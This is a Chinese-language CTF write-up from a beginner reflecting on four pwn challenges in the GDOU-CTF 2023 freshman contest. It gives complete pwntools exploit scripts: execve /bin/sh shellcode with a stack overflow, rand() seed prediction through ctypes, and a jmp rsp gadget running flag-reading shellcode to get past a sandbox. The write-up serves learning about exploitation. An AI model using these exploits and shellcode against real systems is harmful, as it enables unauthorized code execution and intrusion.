GDOU-CTF-2023新生赛Pwn题解与反思

第一次参加CTF新生赛总结与反思
因为昨天学校那边要进行天梯模拟赛,所以被拉过去了。
16点30分结束,就跑回来宿舍开始写。
第一题和第二题一下子getshell,不用30分钟,可能我没想那么多,对比网上的WP,自己和他们有点不太一样,比较暴力。
大概17点10的时候,写第三题,可能自己第一次遇到随机数问题,我当时的想法是网上有没有随机数种子的工具,查了一下,还真有这个库。说明了pwntools库是个宝藏,自己平时应该抽空研究一下那个库,利用好他,成为一把好工具。
后面第三题,刚结束的时候,写出来了。其实思路没有错,就是自己的脚本写的时候,想让代码看起来可读性更高(可能以前写开发项目写习惯了,强迫症),然后多取了一次随机数,导致和远程那边不同步。后面不知道怎么的,把那个变量删了,就好了,当时傻逼了。
第四题知道是orw题目,目标是读flag,但是不会写shellcode。只能说,有思路,写不出,所以后面也应该提升自己的shellcode能力。不能只会写那种比较固定的shellcode。
虽然不知道其他人情况如何,但是自己第一次参加,接触pwn还没有一个月,学习反馈还是挺满意。
一路也遇到了很多师傅,结交很多朋友!继续努力!
比赛题目总结(核心,一定要学会shellcode!)
PS:以下题目的保护权限都开得很少!!!
所以就不贴图checksec图片了!!!
要获得flag,本次比赛关键在于:会自己写简短的shellcode,会使用随机数库。
Shellcode(编写短shell)
题目思路很简单,就是shellcode,不过长度有限制。
我是自己手改pwntools。
使用pwntools生成的,本质就是执行/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
那么开始手搓,搞定!
注意,32位是int0x80,64位是syscall
shellcode='''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
'''

from pwn import *
context(log_level = 'debug',arch ='amd64',os = 'linux')
#io = process('./pwn2')
io = remote('node6.anna.nssctf.cn',28961)
io.recvuntil(b'Please.')
shellcode='''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
'''
io.sendline(asm(shellcode))
io.recvuntil(b"start!")
payload = b'a' * (0xa + 8 ) + p64(0x6010A0)
io.sendline(payload)
io.interactive()
EASY PWN(直接暴力)
不用想那么多,直接随便输入垃圾数据即可
因为只要V5大于0就ok了,甚至偏移都不用想,直接乱输入
from pwn import *
context(log_level = 'debug',arch ='amd64',os = 'linux')
#io = process('./easypwn')
io = remote('node6.anna.nssctf.cn',28962)
payload = b'\x00'
payload = payload.ljust(0x30,b'a')
io.sendline(payload)
#io.sendlineafter(b'Password:',payload)
io.interactive()
真男人下120层(随机数库)
第一次认识,随机数这个库,然后没有什么难的
暴力循环120次即可
感觉一点都不pwn
注意脚本编写时候,别自作多情多取一次
from pwn import *
from ctypes import *
#context(log_level = 'debug',arch ='amd64',os = 'linux')
#io = process('./bin')
io=remote('node6.anna.nssctf.cn',28130)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand = libc.srand(libc.time(0))
srand = libc.srand(srand % 3 - 1522127470)
io.recvuntil('Floor')
for i in range(121):
io.sendline(str(libc.rand( ) % 4 + 1).encode( ))
io.interactive()
Random(绕沙箱加短脚本)
程序禁了 execv,没开 NX,有 ‘jmp rsp’ 这么一个 gadget,所以往栈上写的 shellcode 是可执行且能利用到的。
很明显,是要读flag
先用pwn生成一个cat
用ljust左对齐抬高到0x28
返回地址为jmp rsp
填充 asm('sub rsp,0x30;call rsp')
那么返回的时候,执行jmp rsp,即asm('sub rsp,0x30;call rsp'),然后cat flag
太妙了!!!第一次见到这样的!
jmp=0x40094E
shellcode=asm(shellcraft.cat('flag'))
shellcode=shellcode.ljust(0x28,b'\x00')
payload=shellcode+p64(jmp)+asm('sub rsp,0x30;call rsp')


from pwn import *
from ctypes import *
context(os='linux',arch='amd64',log_level='debug')
io=remote('node5.anna.nssctf.cn',28933)
#io=process('./RANDOM')
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand = libc.srand(libc.time(0))
for i in range(100):
io.sendlineafter('please input a guess num:',str(libc.rand( )%50).encode( ))
io.recvline()
jmp=0x40094E
shellcode=asm(shellcraft.cat('flag'))
shellcode=shellcode.ljust(0x28,b'\x00')
payload=shellcode+p64(jmp)+asm('sub rsp,0x30;call rsp')
io.send(payload)
io.interactive()
GDOU-CTF-2023新生赛Pwn题解与反思的更多相关文章
- 2018.11.26 QLU新生赛部分题解
问题 L: 寄蒜几盒? 题目描述 现在有一个圆圈,圆圈上有若干个点,请判断能否在若干个点中选择三个点两两相连组成一个等边三角形? 这若干个点在圆圈上按顺时针顺序分布. 如果可以的话输出"Ye ...
- 使用pwn_deploy_chroot部署国赛pwn比赛题目
目录 使用pwn_deploy_chroot部署国赛pwn比赛题目 一.前言 二.Docker 三.部署镜像 四.pwn_deploy_chroot 五.check && exp 六. ...
- SCNU ACM 2016新生赛初赛 解题报告
新生初赛题目.解题思路.参考代码一览 1001. 无聊的日常 Problem Description 两位小朋友小A和小B无聊时玩了个游戏,在限定时间内说出一排数字,那边说出的数大就赢,你的工作是帮他 ...
- SCNU 2015ACM新生赛决赛【F. Oyk闯机关】解题报告
题目大意:一个$N$$\times$$N$的阵列,每个格子有$X_{ij}$个调和之音,若每次只能选择走右边或下边,从左上角出发走到右下角,问最多能收集到多少个调和之音? ...
- CTF线下赛AWD套路小结
近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一. AWD模式简介 AWD:Attack With Defence,比赛中每个队伍维护多台服务 ...
- CTF线下赛AWD模式下的生存技巧
作者:Veneno@Nu1L 稿费:200RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 原文:https://www.anquanke.com/post/id/8467 ...
- Codeforces 801 A.Vicious Keyboard & Jxnu Group Programming Ladder Tournament 2017江西师大新生赛 L1-2.叶神的字符串
A. Vicious Keyboard time limit per test 2 seconds memory limit per test 256 megabytes input standard ...
- 电信学院第一届新生程序设计竞赛题解及std
首先非常感谢各位同学的参加,还有出题验题同学的辛勤付出 昨天想偷懒就是不想再把我C++11的style改没了,大家看不懂的可以百度一下哦,懒得再写gcc了,毕竟代码是通的 //代表的是行注释,所以那个 ...
- 【题解】Comet OJ 国庆欢乐赛 简要题解
[题解]Comet OJ 国庆欢乐赛 简要题解 A 直接做 B 直接做,结论: \[ ans=\max([Max\ge \mathrm{sum}] Max,s[n]/2) \] C 考虑这样一个做法: ...
- [ACTF2020 新生赛]BackupFile && [ACTF2020 新生赛]Upload &&[GYCTF2020]Blacklist
[ACTF2020 新生赛]BackupFile 尝试找到源代码,加上题目是备份文件,猜测备份文件里面有网站的源代码,御剑扫描一下,就扫到index.php 访问index.php.bak 下载源代码 ...
随机推荐
- js 全屏显示指定区域
小猪最近使用vue开发项目的时候,需要实现将指定区域全拼展示的操作. 小猪选择使用js来实现,实现原理:使用requestFullscreen()方法将指定的dom元素在全屏模式下打开. 支持的部分浏 ...
- Web_Servlet和jsp页面数据交互,通过请求转发在jsp中显示数据
1.Servlet页面代码 /* 实现jsp页面和sevlet页面的信息交互 */ @WebServlet(urlPatterns = "/aa") public class Js ...
- heimaJava-网络编程
Java 网络编程 概念 网络编程可以让程序与网络上的其他设备中的程序进行数据交互 网络通信基本模式 常见的通信模式有如下两种形式,Client-Server(CS),Browser/Server(B ...
- centos7.6 挂载镜像配置本地yum源
镜像下载 http://mirrors.aliyun.com/centos-vault/7.6.1810/isos/x86_64/ 配置本地yum源 1.安装Centos后默认的Yum源如下 [roo ...
- 我是如何被我的c++大作业榨干的
手把手教你用git上传项目到GitHub(图文并茂,这一篇就够了),相信你一定能成功!! - 知乎 (zhihu.com) C++ 类对象数组_Slience_Perseverance的博客-CSDN ...
- 使用Python+Appium+夜神模拟器,并连接uiautomatorviewer
本文不介绍安装步骤,实在是太多博文了 一.安装 Python:3.8 Appium:1.22.3 夜神模拟器 node JDK1.8 SDK 二.成功连接模拟器 PytCharm代码如下: # cod ...
- [Unity基础]碰撞和触发
参考链接: https://www.cnblogs.com/hont/p/4472326.html 碰撞关系表: https://docs.unity3d.com/Manual/CollidersOv ...
- java_day23~24
Java基础 GUI编程 核心技术:Swing.AWT 现在GUI并不流行 因为其界面不美观.需要依赖jre环境 Swing public class Demo1 { //init();初始化 pub ...
- flask接口动态注册--依赖于蓝图
# 实现代码 blueprint_d = dict() dirs = os.listdir(base_dir) # 获取apps路径下所有文件夹列表 for d in dirs: ## 1.遍历模块文 ...
- 使用react-vite-antd,修改antd主题,报错 [vite] Internal server error: Inline JavaScript is not enabled. Is it set in your options? It is hacky way to make this function will be compiled preferentially by less
一般报错 在官方文档中,没有关于vite中如何使用自定义主题的相关配置,经过查阅 1.安装less yarn add less (已经安装了就不必再安装) 2.首先将App.css改成App.les ...

